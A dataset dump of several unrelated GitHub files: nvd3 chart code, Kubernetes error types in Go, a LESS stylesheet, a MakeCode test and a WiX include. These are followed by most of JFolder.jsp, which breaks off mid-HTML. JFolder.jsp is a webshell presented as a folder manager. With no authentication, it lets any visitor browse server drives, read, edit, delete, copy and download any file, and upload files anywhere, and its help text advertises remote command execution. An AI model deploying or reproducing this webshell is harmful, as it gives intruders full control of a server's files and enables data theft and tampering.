text
stringlengths
2
100k
meta
dict
nv.charts.discreteBar = function() { var selector = null, data = [], duration = 500, tooltip = function(key, x, y, e, graph) { return '<h3>' + x + '</h3>' + '<p>' + y + '</p>' }; var graph = nv.models.discreteBarWithAxes(), showTooltip = function(e) { var offsetElement = document.getElementById(selector.substr(1)), left = e.pos[0] + offsetElement.offsetLeft, top = e.pos[1] + offsetElement.offsetTop, formatY = graph.yAxis.tickFormat(), //Assumes using same format as axis, can customize to show higher precision, etc. formatX = graph.xAxis.tickFormat(), x = formatX(graph.x()(e.point)), y = formatY(graph.y()(e.point)), content = tooltip(e.series.key, x, y, e, graph); nv.tooltip.show([left, top], content, e.value < 0 ? 'n' : 's'); }; //setting component defaults graph.xAxis.tickFormat(function(d) { return d }); graph.yAxis.tickFormat(d3.format(',.f')); //TODO: consider a method more similar to how the models are built function chart() { if (!selector || !data.length) return chart; //do nothing if you have nothing to work with d3.select(selector).select('svg') .datum(data) .transition().duration(duration).call(graph); //consider using transition chaining like in the models return chart; } // This should always only be called once, then update should be used after, // in which case should consider the 'd3 way' and merge this with update, // but simply do this on enter... should try anoter example that way chart.build = function() { if (!selector || !data.length) return chart; //do nothing if you have nothing to work with nv.addGraph({ generate: function() { var container = d3.select(selector), width = function() { return parseInt(container.style('width')) }, height = function() { return parseInt(container.style('height')) }, svg = container.append('svg'); graph .width(width) .height(height); svg .attr('width', width()) .attr('height', height()) .datum(data) .transition().duration(duration).call(graph); return graph; }, callback: function(graph) { graph.dispatch.on('tooltipShow', showTooltip); graph.dispatch.on('tooltipHide', nv.tooltip.cleanup); //TODO: create resize queue and have nv core handle resize instead of binding all to window resize nv.utils.windowResize( function() { // now that width and height are functions, should be automatic..of course you can always override them d3.select(selector + ' svg') .attr('width', graph.width()()) //need to set SVG dimensions, chart is not aware of the SVG component .attr('height', graph.height()()) .transition().duration(duration).call(graph); //.call(graph); } ); } }); return chart; }; /* // moved to chart() chart.update = function() { if (!selector || !data.length) return chart; //do nothing if you have nothing to work with d3.select(selector).select('svg') .datum(data) .transition().duration(duration).call(graph); return chart; }; */ chart.data = function(_) { if (!arguments.length) return data; data = _; return chart; }; chart.selector = function(_) { if (!arguments.length) return selector; selector = _; return chart; }; chart.duration = function(_) { if (!arguments.length) return duration; duration = _; return chart; }; chart.tooltip = function(_) { if (!arguments.length) return tooltip; tooltip = _; return chart; }; chart.xTickFormat = function(_) { if (!arguments.length) return graph.xAxis.tickFormat(); graph.xAxis.tickFormat(typeof _ === 'function' ? _ : d3.format(_)); return chart; }; chart.yTickFormat = function(_) { if (!arguments.length) return graph.yAxis.tickFormat(); graph.yAxis.tickFormat(typeof _ === 'function' ? _ : d3.format(_)); return chart; }; chart.xAxisLabel = function(_) { if (!arguments.length) return graph.xAxis.axisLabel(); graph.xAxis.axisLabel(_); return chart; }; chart.yAxisLabel = function(_) { if (!arguments.length) return graph.yAxis.axisLabel(); graph.yAxis.axisLabel(_); return chart; }; d3.rebind(chart, graph, 'x', 'y', 'staggerLabels'); chart.graph = graph; // Give direct access for getter/setters, and dispatchers return chart; };
{ "pile_set_name": "Github" }
/* Copyright 2014 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package runtime import ( "fmt" "reflect" "k8s.io/apimachinery/pkg/runtime/schema" ) type notRegisteredErr struct { schemeName string gvk schema.GroupVersionKind target GroupVersioner t reflect.Type } func NewNotRegisteredErrForKind(schemeName string, gvk schema.GroupVersionKind) error { return &notRegisteredErr{schemeName: schemeName, gvk: gvk} } func NewNotRegisteredErrForType(schemeName string, t reflect.Type) error { return &notRegisteredErr{schemeName: schemeName, t: t} } func NewNotRegisteredErrForTarget(schemeName string, t reflect.Type, target GroupVersioner) error { return &notRegisteredErr{schemeName: schemeName, t: t, target: target} } func NewNotRegisteredGVKErrForTarget(schemeName string, gvk schema.GroupVersionKind, target GroupVersioner) error { return &notRegisteredErr{schemeName: schemeName, gvk: gvk, target: target} } func (k *notRegisteredErr) Error() string { if k.t != nil && k.target != nil { return fmt.Sprintf("%v is not suitable for converting to %q in scheme %q", k.t, k.target, k.schemeName) } nullGVK := schema.GroupVersionKind{} if k.gvk != nullGVK && k.target != nil { return fmt.Sprintf("%q is not suitable for converting to %q in scheme %q", k.gvk.GroupVersion(), k.target, k.schemeName) } if k.t != nil { return fmt.Sprintf("no kind is registered for the type %v in scheme %q", k.t, k.schemeName) } if len(k.gvk.Kind) == 0 { return fmt.Sprintf("no version %q has been registered in scheme %q", k.gvk.GroupVersion(), k.schemeName) } if k.gvk.Version == APIVersionInternal { return fmt.Sprintf("no kind %q is registered for the internal version of group %q in scheme %q", k.gvk.Kind, k.gvk.Group, k.schemeName) } return fmt.Sprintf("no kind %q is registered for version %q in scheme %q", k.gvk.Kind, k.gvk.GroupVersion(), k.schemeName) } // IsNotRegisteredError returns true if the error indicates the provided // object or input data is not registered. func IsNotRegisteredError(err error) bool { if err == nil { return false } _, ok := err.(*notRegisteredErr) return ok } type missingKindErr struct { data string } func NewMissingKindErr(data string) error { return &missingKindErr{data} } func (k *missingKindErr) Error() string { return fmt.Sprintf("Object 'Kind' is missing in '%s'", k.data) } // IsMissingKind returns true if the error indicates that the provided object // is missing a 'Kind' field. func IsMissingKind(err error) bool { if err == nil { return false } _, ok := err.(*missingKindErr) return ok } type missingVersionErr struct { data string } func NewMissingVersionErr(data string) error { return &missingVersionErr{data} } func (k *missingVersionErr) Error() string { return fmt.Sprintf("Object 'apiVersion' is missing in '%s'", k.data) } // IsMissingVersion returns true if the error indicates that the provided object // is missing a 'Version' field. func IsMissingVersion(err error) bool { if err == nil { return false } _, ok := err.(*missingVersionErr) return ok } // strictDecodingError is a base error type that is returned by a strict Decoder such // as UniversalStrictDecoder. type strictDecodingError struct { message string data string } // NewStrictDecodingError creates a new strictDecodingError object. func NewStrictDecodingError(message string, data string) error { return &strictDecodingError{ message: message, data: data, } } func (e *strictDecodingError) Error() string { return fmt.Sprintf("strict decoder error for %s: %s", e.data, e.message) } // IsStrictDecodingError returns true if the error indicates that the provided object // strictness violations. func IsStrictDecodingError(err error) bool { if err == nil { return false } _, ok := err.(*strictDecodingError) return ok }
{ "pile_set_name": "Github" }
.panel { border-radius: 2px; border: 0; .variations(~" > .panel-heading", background-color, @grey-200); .shadow-z-1; } [class*="panel-"] > .panel-heading { color: @darkbg-text; border: 0; } .panel-default, .panel:not([class*="panel-"]) { > .panel-heading { color: @lightbg-text; } } .panel-footer { background-color: @grey-200; }
{ "pile_set_name": "Github" }
msg("test top level code") let xsum = 0; let forclean = () => { } for (let i = 0; i < 11; ++i) { xsum = xsum + i; forclean = () => { i = 0 } } forclean() forclean = null assert(xsum == 55, "mainfor") control.runInBackground(() => { xsum = xsum + 10; }) pause(20) assert(xsum == 65, "mainforBg") xsum = 0 assert(xyz == 12, "init") function incrXyz() { xyz++; return 0; } let unusedInit = incrXyz(); assert(xyz == 13, "init2") xyz = 0 for (let e of [""]) {} s2 = "" for (let i = 0; i < 3; i++) { let copy = i; control.runInBackground(() => { pause(10 * copy + 1); s2 = s2 + copy; }); } pause(200) assert(s2 == "012")
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <Include xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Component Id="Comp_ProjectTemplates$(var.VsVersion)" DiskId="1" Guid="88217b76-$(var.VsVersion)-477c-8d9b-c0853130f72b"> <File Id="File_MacroLibrary$(var.VsVersion).zip" Name="MacroLibrary.zip" /> <File Id="File_ClassLibrary$(var.VsVersion).zip" Name="ClassLibrary.zip" /> <File Id="File_ConsoleApp$(var.VsVersion).zip" Name="ConsoleApplication.zip" /> <File Id="File_WinformApp$(var.VsVersion).zip" Name="WindowsApplication.zip" /> </Component> </Include>
{ "pile_set_name": "Github" }
<% /** JFolder V0.9 windows platform @Filename: JFolder.jsp @Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。 @Author: Steven Cee @Email : [email protected] @Bugs : 下载时,中文文件名无法正常显示 */ %> <%@ page contentType="text/html;charset=gb2312"%> <%@page import="java.io.*,java.util.*,java.net.*" %> <%! private final static int languageNo=0; //语言版本,0 : 中文; 1:英文 String strThisFile="JFolder.jsp"; String[] authorInfo={" <font color=red> 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"}; String[] strFileManage = {"文 件 管 理","File Management"}; String[] strCommand = {"CMD 命 令","Command Window"}; String[] strSysProperty = {"系 统 属 性","System Property"}; String[] strHelp = {"帮 助","Help"}; String[] strParentFolder = {"上级目录","Parent Folder"}; String[] strCurrentFolder= {"当前目录","Current Folder"}; String[] strDrivers = {"驱动器","Drivers"}; String[] strFileName = {"文件名称","File Name"}; String[] strFileSize = {"文件大小","File Size"}; String[] strLastModified = {"最后修改","Last Modified"}; String[] strFileOperation= {"文件操作","Operations"}; String[] strFileEdit = {"修改","Edit"}; String[] strFileDown = {"下载","Download"}; String[] strFileCopy = {"复制","Move"}; String[] strFileDel = {"删除","Delete"}; String[] strExecute = {"执行","Execute"}; String[] strBack = {"返回","Back"}; String[] strFileSave = {"保存","Save"}; public class FileHandler { private String strAction=""; private String strFile=""; void FileHandler(String action,String f) { } } public static class UploadMonitor { static Hashtable uploadTable = new Hashtable(); static void set(String fName, UplInfo info) { uploadTable.put(fName, info); } static void remove(String fName) { uploadTable.remove(fName); } static UplInfo getInfo(String fName) { UplInfo info = (UplInfo) uploadTable.get(fName); return info; } } public class UplInfo { public long totalSize; public long currSize; public long starttime; public boolean aborted; public UplInfo() { totalSize = 0l; currSize = 0l; starttime = System.currentTimeMillis(); aborted = false; } public UplInfo(int size) { totalSize = size; currSize = 0; starttime = System.currentTimeMillis(); aborted = false; } public String getUprate() { long time = System.currentTimeMillis() - starttime; if (time != 0) { long uprate = currSize * 1000 / time; return convertFileSize(uprate) + "/s"; } else return "n/a"; } public int getPercent() { if (totalSize == 0) return 0; else return (int) (currSize * 100 / totalSize); } public String getTimeElapsed() { long time = (System.currentTimeMillis() - starttime) / 1000l; if (time - 60l >= 0){ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time<10 ? "0" + time + "s": time + "s"; } public String getTimeEstimated() { if (currSize == 0) return "n/a"; long time = System.currentTimeMillis() - starttime; time = totalSize * time / currSize; time /= 1000l; if (time - 60l >= 0){ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time<10 ? "0" + time + "s": time + "s"; } } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray) { fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); } } // A Class with methods used to process a ServletInputStream public class HttpMultiPartParser { private final String lineSeparator = System.getProperty("line.separator", "\n"); private final int ONE_MB = 1024 * 1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, int clength) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( "\"" + boundary + "\" is an illegal boundary indicator"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); boolean isFile = false; if (saveFiles) { // Create the required directory (including parent dirs) File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException( "Boundary not found; boundary = " + boundary + ", line = " + line); while (line != null) { if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( "Bad data in second line"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()) { field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1) { if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { fileInfo.name = paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0) { fileInfo.clientFileName = value; isFile = true; } else { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0) { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } boolean skipBlankLine = true; if (isFile) { line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else { stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in third line"); stLine.nextToken(); // Content-Type fileInfo.fileContentType = stLine.nextToken(); } } if (skipBlankLine) { line = getLine(is); if (line == null) return dataTable; } if (!isFile) { line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); // If parameter is dir, change saveInDir to dir if (paramName.equals("dir")) saveInDir = line; line = getLine(is); continue; } try { UplInfo uplInfo = new UplInfo(clength); UploadMonitor.set(fileInfo.clientFileName, uplInfo); OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent) { if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; uplInfo.aborted = true; break; } if (compareBoundary(boundary, currentLine)) { os.write(previousLine, 0, read - 2); line = new String(currentLine, 0, read3); break; } else { os.write(previousLine, 0, read); uplInfo.currSize += read; temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; }//end else }//end while os.flush(); os.close(); if (!saveFiles) { ByteArrayOutputStream baos = (ByteArrayOutputStream) os; fileInfo.setFileContents(baos.toByteArray()); } else fileInfo.file = new File(path); dataTable.put(paramName, fileInfo); uplInfo.currSize = uplInfo.totalSize; }//end try catch (IOException e) { throw e; } } return dataTable; } /** * Compares boundary string to byte array */ private boolean compareBoundary(String boundary, byte ba[]) { byte b; if (boundary == null || ba == null) return false; for (int i = 0; i < boundary.length(); i++) if ((byte) boundary.charAt(i) != ba[i]) return false; return true; } /** Convenience method to read HTTP header lines */ private synchronized String getLine(ServletInputStream sis) throws IOException { byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1) { line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); } return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException { String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException( "dir or fileName is null"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); } } //End of class HttpMultiPartParser String formatPath(String p) { StringBuffer sb=new StringBuffer(); for (int i = 0; i < p.length(); i++) { if(p.charAt(i)=='\\') { sb.append("\\\\"); } else { sb.append(p.charAt(i)); } } return sb.toString(); } /** * Converts some important chars (int) to the corresponding html string */ static String conv2Html(int i) { if (i == '&') return "&amp;"; else if (i == '<') return "&lt;"; else if (i == '>') return "&gt;"; else if (i == '"') return "&quot;"; else return "" + (char) i; } /** * Converts a normal string to a html conform string */ static String htmlEncode(String st) { StringBuffer buf = new StringBuffer(); for (int i = 0; i < st.length(); i++) { buf.append(conv2Html(st.charAt(i))); } return buf.toString(); } String getDrivers() /** Windows系统上取得可用的所有逻辑盘 */ { StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); File roots[]=File.listRoots(); for(int i=0;i<roots.length;i++) { sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">"); sb.append(roots[i]+"</a>&nbsp;"); } return sb.toString(); } static String convertFileSize(long filesize) { //bug 5.09M 显示5.9M String strUnit="Bytes"; String strAfterComma=""; int intDivisor=1; if(filesize>=1024*1024) { strUnit = "MB"; intDivisor=1024*1024; } else if(filesize>=1024) { strUnit = "KB"; intDivisor=1024; } if(intDivisor==1) return filesize + " " + strUnit; strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; if(strAfterComma=="") strAfterComma=".0"; return filesize / intDivisor + "." + strAfterComma + " " + strUnit; } %> <% request.setCharacterEncoding("gb2312"); String tabID = request.getParameter("tabID"); String strDir = request.getParameter("path"); String strAction = request.getParameter("action"); String strFile = request.getParameter("file"); String strPath = strDir + "\\" + strFile; String strCmd = request.getParameter("cmd"); StringBuffer sbEdit=new StringBuffer(""); StringBuffer sbDown=new StringBuffer(""); StringBuffer sbCopy=new StringBuffer(""); StringBuffer sbSaveCopy=new StringBuffer(""); StringBuffer sbNewFile=new StringBuffer(""); if((tabID==null) || tabID.equals("")) { tabID = "1"; } if(strDir==null||strDir.length()<1) { strDir = request.getRealPath("/"); } if(strAction!=null && strAction.equals("down")) { File f=new File(strPath); if(f.length()==0) { sbDown.append("文件大小为 0 字节,就不用下了吧"); } else { response.setHeader("content-type","text/html; charset=ISO-8859-1"); response.setContentType("APPLICATION/OCTET-STREAM"); response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); out.clearBuffer(); int i; while ((i=fileInputStream.read()) != -1) { out.write(i); } fileInputStream.close(); out.close(); } } if(strAction!=null && strAction.equals("del")) { File f=new File(strPath); f.delete(); } if(strAction!=null && strAction.equals("edit")) { File f=new File(strPath); BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n"); sbEdit.append("<input type=hidden name=action value=save >\r\n"); sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n"); sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n"); sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> "); sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> &nbsp;"+strPath+"\r\n"); sbEdit.append("<br><textarea rows=30 cols=90 name=content>"); String line=""; while((line=br.readLine())!=null) { sbEdit.append(htmlEncode(line)+"\r\n"); } sbEdit.append("</textarea>"); sbEdit.append("<input type=hidden name=path value="+strDir+">"); sbEdit.append("</form>"); } if(strAction!=null && strAction.equals("save")) { File f=new File(strPath); BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); String strContent=request.getParameter("content"); bw.write(strContent); bw.close(); } if(strAction!=null && strAction.equals("copy")) { File f=new File(strPath); sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n"); sbCopy.append("<input type=hidden name=action value=savecopy >\r\n"); sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n"); sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n"); sbCopy.append("原始文件: "+strPath+"<p>"); sbCopy.append("目标文件: <input type=text name=file2 size=40 value='"+strDir+"'><p>"); sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> "); sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>&nbsp;\r\n"); sbCopy.append("</form>"); } if(strAction!=null && strAction.equals("savecopy")) { File f=new File(strPath); String strDesFile=request.getParameter("file2"); if(strDesFile==null || strDesFile.equals("")) { sbSaveCopy.append("<p><font color=red>目标文件错误。</font>"); } else { File f_des=new File(strDesFile); if(f_des.isFile()) { sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>"); } else { String strTmpFile=strDesFile; if(f_des.isDirectory()) { if(!strDesFile.endsWith("\\")) { strDesFile=strDesFile+"\\"; } strTmpFile=strDesFile+"cqq_"+strFile; } File f_des_copy=new File(strTmpFile); FileInputStream in1=new FileInputStream(f); FileOutputStream out1=new FileOutputStream(f_des_copy); byte[] buffer=new byte[1024]; int c; while((c=in1.read(buffer))!=-1) { out1.write(buffer,0,c); } in1.close(); out1.close(); sbSaveCopy.append("原始文件 :"+strPath+"<p>"); sbSaveCopy.append("目标文件 :"+strTmpFile+"<p>"); sbSaveCopy.append("<font color=red>复制成功!</font>"); } } sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>"); } if(strAction!=null && strAction.equals("newFile")) { String strF=request.getParameter("fileName"); String strType1=request.getParameter("btnNewFile"); String strType2=request.getParameter("btnNewDir"); String strType=""; if(strType1==null) { strType="Dir"; } else if(strType2==null) { strType="File"; } if(!strType.equals("") && !(strF==null || strF.equals(""))) { File f_new=new File(strF); if(strType.equals("File") && !f_new.createNewFile()) sbNewFile.append(strF+" 文件创建失败"); if(strType.equals("Dir") && !f_new.mkdirs()) sbNewFile.append(strF+" 目录创建失败"); } else { sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>"); } } if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) { String tempdir="."; boolean error=false; response.setContentType("text/html"); sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>"); HttpMultiPartParser parser = new HttpMultiPartParser(); int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); if (ht.get("cqqUploadFile") != null) { FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); File f1 = fi.file; UplInfo info = UploadMonitor.getInfo(fi.clientFileName); if (info != null && info.aborted) { f1.delete(); request.setAttribute("error", "Upload aborted"); } else { String path = (String) ht.get("path"); if(path!=null && !path.endsWith("\\")) path = path + "\\"; if (!f1.renameTo(new File(path + f1.getName()))) { request.setAttribute("error", "Cannot upload file."); error = true; f1.delete(); } } } } %> <html> <head> <style type="text/css"> td,select,input,body{font-size:9pt;} A { TEXT-DECORATION: none } #tablist{ padding: 5px 0; margin-left: 0; margin-bottom: 0; margin-top: 0.1em; font:9pt; } #tablist li{ list-style: none; display: inline; margin: 0; } #tablist li a{ padding: 3px 0.5em; margin-left: 3px; border: 1px solid ; background: F6F6F6; } #tablist li a:link, #tablist li a:visited{ color: navy; } #tablist li a.current{ background: #EAEAFF; } #tabcontentcontainer{ width: 100%; padding: 5px; border: 1px solid black; } .tabcontent{ display:none; } </style> <script type="text/javascript"> var initialtab=[<%=tabID%>, "menu<%=tabID%>"] ////////Stop editting//////////////// function cascadedstyle(el, cssproperty, csspropertyNS){ if (el.currentStyle) return el.currentStyle[cssproperty] else if (window.getComputedStyle){ var elstyle=window.getComputedStyle(el, "") return elstyle.getPropertyValue(csspropertyNS) } } var previoustab="" function expandcontent(cid, aobject){ if (document.getElementById){ highlighttab(aobject) if (previoustab!="") document.getElementById(previoustab).style.display="none" document.getElementById(cid).style.display="block" previoustab=cid if (aobject.blur) aobject.blur() return false } else return true } function highlighttab(aobject){ if (typeof tabobjlinks=="undefined") collecttablinks() for (i=0; i<tabobjlinks.length; i++) tabobjlinks[i].style.backgroundColor=initTabcolor var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor } function collecttablinks(){ var tabobj=document.getElementById("tablist") tabobjlinks=tabobj.getElementsByTagName("A") } function do_onload(){ collecttablinks() initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color") initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color") expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1]) } if (window.addEventListener) window.addEventListener("load", do_onload, false) else if (window.attachEvent) window.attachEvent("onload", do_onload) else if (document.getElementById) window.onload=do_onload </script> <script language="javascript"> function doForm(action,path,file,cmd,tab,content) { document.frmCqq.action.value=action; document.frmCqq.path.value=path; document.frmCqq.file.value=file; document.frmCqq.cmd.value=cmd; document.frmCqq.tabID.value=tab; document.frmCqq.content.value=content; if(action=="del") { if(confirm("确定要删除文件 "+file+" 吗?")) document.frmCqq.submit(); } else { document.frmCqq.submit(); } } </script> <title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title> <head> <body> <form name="frmCqq" method="post" action=""> <input type="hidden" name="action" value=""> <input type="hidden" name="path" value=""> <input type="hidden" name="file" value=""> <input type="hidden" name="cmd" value=""> <input type="hidden" name="tabID" value="2"> <input type="hidden" name="content" value=""> </form> <!--Top Menu Started--> <ul id="tablist"> <li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li> <li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li> <li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li> <li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li> &nbsp; <%=authorInfo[languageNo]%> </ul> <!--Top Menu End--> <% StringBuffer sbFolder=new StringBuffer(""); StringBuffer sbFile=new StringBuffer(""); try { File objFile = new File(strDir); File list[] = objFile.listFiles(); if(objFile.getAbsolutePath().length()>3) { sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">"); sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n "); } for(int i=0;i<list.length;i++) { if(list[i].isDirectory()) { sbFolder.append("<tr><td >&nbsp;</td><td>"); sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">"); sbFolder.append(list[i].getName()+"</a><br></td></tr> "); } else { String strLen=""; String strDT=""; long lFile=0; lFile=list[i].length(); strLen = convertFileSize(lFile); Date dt=new Date(list[i].lastModified()); strDT=dt.toLocaleString(); sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>"); sbFile.append(""+list[i].getName()); sbFile.append("</td><td>"); sbFile.append(""+strLen); sbFile.append("</td><td>"); sbFile.append(""+strDT); sbFile.append("</td><td>"); sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileEdit[languageNo]+"</a> "); sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileDel[languageNo]+"</a> "); sbFile.append(" &nbsp;<a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileDown[languageNo]+"</a> "); sbFile.append(" &nbsp;<a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileCopy[languageNo]+"</a> "); } } } catch(Exception e) { out.println("<font color=red>操作失败: "+e.toString()+"</font>"); } %> <DIV id="tabcontentcontainer"> <div id="menu3" class="tabcontent"> <br> <br> &nbsp;&nbsp; 未完成 <br> <br>&nbsp; </div> <div id="menu4" class="tabcontent"> <br> <p>一、功能说明</p> <p>&nbsp;&nbsp;&nbsp; jsp 版本的文件管理器,通过该程序可以远程管理服务器上的文件系统,您可以新建、修改、</p> <p>删除、下载文件和目录。对于windows系统,还提供了命令行窗口的功能,可以运行一些程序,类似</p> <p>与windows的cmd。</p> <p>&nbsp;</p> <p>二、测试</p> <p>&nbsp;&nbsp;&nbsp;<b>请大家在使用过程中,有任何问题,意见或者建议都可以给我留言,以便使这个程序更加完善和稳定,<p> 留言地址为:<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b> <p>&nbsp;</p> <p>三、更新记录</p> <p>&nbsp;&nbsp;&nbsp; 2004.11.15&nbsp; V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、删除、下载、上传以及新建文件目录功能</p> <p>&nbsp;&nbsp;&nbsp; 2004.10.27&nbsp; 暂时定为0.6版吧, 提供了目录文件浏览功能 和 cmd功能</p> <p>&nbsp;&nbsp;&nbsp; 2004.09.20&nbsp; 第一个jsp&nbsp;程序就是这个简单的显示目录文件的小程序</p> <p>&nbsp;</p> <p>&nbsp;</p> </div> <div id="menu1" class="tabcontent"> <% out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td 